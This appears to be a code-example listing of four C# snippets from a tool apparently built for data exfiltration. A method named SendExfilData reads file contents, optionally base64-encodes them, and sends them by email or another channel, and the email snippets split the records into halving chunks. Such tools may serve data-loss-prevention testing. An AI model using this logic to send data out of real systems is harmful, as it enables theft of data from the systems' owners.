コード例 #1
0
        public int SendDecrementalEmails(DataRecordCollection data, string destination)
        {
            int sent          = 0;
            int current_chunk = data.GetShape().Rows;

            while (sent < data.GetShape().Rows)
            {
                current_chunk /= 2;
                if (current_chunk == 0)
                {
                    ++current_chunk;    //we need at least one more record if its here and the chunk size is zero
                }
                int records_to_send = 0;
                if (sent + current_chunk >= data.GetShape().Rows)
                {
                    records_to_send = data.GetShape().Rows - sent;
                }
                else
                {
                    records_to_send = current_chunk;
                }
                DataRecordCollection drc = new DataRecordCollection(data.Schema);
                foreach (DataRecord d in data.GetRecords().Skip(sent).Take(records_to_send))
                {
                    drc.AddRecord(d);
                }
                SendAllRecords(drc, destination);
                sent += records_to_send;
            }
            return(sent);
        }
コード例 #2
0
        /// <summary>
        /// send all records at once
        /// </summary>
        /// <param name="data">what to send</param>
        /// <param name="destination">what email address to send to</param>
        /// <returns>the number of records sent is returened, ie the row shape of the data</returns>
        public int SendAllRecords(DataRecordCollection data, string destination)
        {
            var    fromAddress = new MailAddress(email_from, email_from.Split('@')[0]);
            var    toAddress   = new MailAddress(destination, destination.Split('@')[0]);
            string email_body  = this.body + "\n" + data.ToString();



            var smtp = new SmtpClient
            {
                Host                  = server,
                Port                  = Port,
                EnableSsl             = ssl,
                DeliveryMethod        = SmtpDeliveryMethod.Network,
                UseDefaultCredentials = false,
                Credentials           = new NetworkCredential(fromAddress.Address, password)
            };

            using (var msg = new MailMessage(fromAddress, toAddress)
            {
                Subject = subject_line,
                Body = email_body
            })
            {
                smtp.Send(msg);
            }

            return(data.GetShape().Rows);
        }
コード例 #3
0
        public int SendAllRecords(DataRecordCollection data, string destination)
        {
            string sending_body = email_body;

            sending_body += Environment.NewLine;
            sending_body += data.ToString();
            SendMailItem(destination, sending_body);
            return(data.GetShape().Rows);
        }
コード例 #4
0
        public int SendExfilData(Options opts)
        {
            if ((opts & Options.HTTP_USE_SSL) != 0)
            {
                throw new NotImplementedException();                                    //not implemented yet
            }
            DataRecordCollection data = null;

            try
            {
                if ((opts & Options.DATA_ENCODE_TO_B64) != 0)
                {
                    data = reader.GetFileContents(true);                                            //do we b64 encode the data?
                }
                else
                {
                    data = reader.GetFileContents();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                throw new InvalidDataException("The file reader failed to fetch file contents");
            }
            if (data == null)
            {
                throw new InvalidOperationException();
            }
            if (data.GetShape().Rows > 0)  //make sure we have work to do
            {
                if (email_sender != null)  //see if we are sending via email
                {
                    return(HandleEmailSender(data, opts));
                }

                else if (sender != null)     //see if we are sending via non email
                {
                    return(HandleGenericSender(data, opts));
                }
            }
            return(0);
        }